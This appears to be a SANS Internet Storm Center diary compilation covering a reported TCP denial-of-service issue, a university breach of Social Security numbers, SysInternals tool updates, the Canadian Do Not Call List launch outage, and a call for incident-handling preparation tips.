A few readers sent in some more information on the TCP vulnerabilities that has been the talk around the water cooler for the last week or so. First a webcast of the Dutch researchers is available at http://debeveiligingsupdate.nl/audio/bevupd_0003.mp3the first part is in Dutch, but shortly after the 5 minute mark the conversation changes to English.

Secondly, a Search Security article provides some more details here.

I haven't had time to dig into this in detail, but it seems that a relatively few number of packets are capable of DOSing most TCP/IP stacks. Some sources are making this sound like the Internet perfect storm, others are writing it off as FUD.  I will leave it up to you to make your own decisions, but I expect it is closer to the latter.

YAUH!

Reader Frank forwarded an article about a hack  at the University of Indianapolis that compromised 11,000 Social Security numbers. This in itself is nothing new. Universities by the nature of their culture have had a relatively open network, and it seems the bad guys have been increasingly turning there attentions in that direction.  But a quote in the article upset Frank, ..."it was well beyond our control". Now I can't speak about the University of Indianapolis, they may very well have excellent security and this hack may have been carried out by world class hackers.  But what this hack hilights for me is that the days when universities could have a wide open network are long gone.  Enlightened universities have started realizing that they need to understand which data needs to be protected and separating the important data from the rest of the network with adequate security controls such as network segregation, firewalls, and encryption.  If you are interested the article is here.

Christmas in October!

Frequent contributer Roseman pointed out the release of updates to the free SysInternal's tools.  For those of you who regularly use the SysInternals tools to debug and understand Windows you understand when I say this is like an early Christmas.  For those of you who are not yet enlightened about SysInternals...you should take a look.

The major change is a update to Process Monitor..."adds real-time TCP and UDP monitoring to its existing process, thread, DLL, file system and registry monitoring."

The blog post with some basic release notes is available here.

SysInternals tools can be downloaded from here.

-- Rick Wanner

rwanner at isc dot sans dot org

The National Do Not Call List for Canada went live yesterday. Well, sort of. It would appear as though they did not adequately plan (prepare) for the volume of requests. Both the web services and phone services did not respond or a busy signal almost all day. Somewhat of an incident, particularly when a new service of any kind simply isn't available. The intention of the DNCL is for consumers to register their phone numbers for certain classes of telemarketers to never dial. Well, to the aproximately 1 Million fellow Canadians who failed to register for the Some-Should-Call-and-Some-Shouldn't list, perhaps tomorrow is another day for their provider to get the service up and running.

Cheers,
Adrien de Beaupré
intru-shun.ca

October is Cyber Security Awareness Month and as we announced earlier we are going to use this month to solicit tips for proper incident handling. 

The SANS Institute teaches a six-step process:

1.  Preparation
2.  Identification
3.  Containment
4.  Eradication
5.  Recovery
6.  Lessons Learned

Preparation is the first step, and most of us know that if you are unprepared then it's nearly impossible to handle an incident property.  For the rest of this week we will focus on the elements of preparation.  To kick off the month, send us your ideas via the contact page on how you develop policies, how you engage management support, and how you raise user awareness.  We'll add the best ideas to this diary throughout the day.

Thanks and Happy Cyber Security Awareness Month!!

Marcus H. Sachs
Director, SANS Internet Storm Center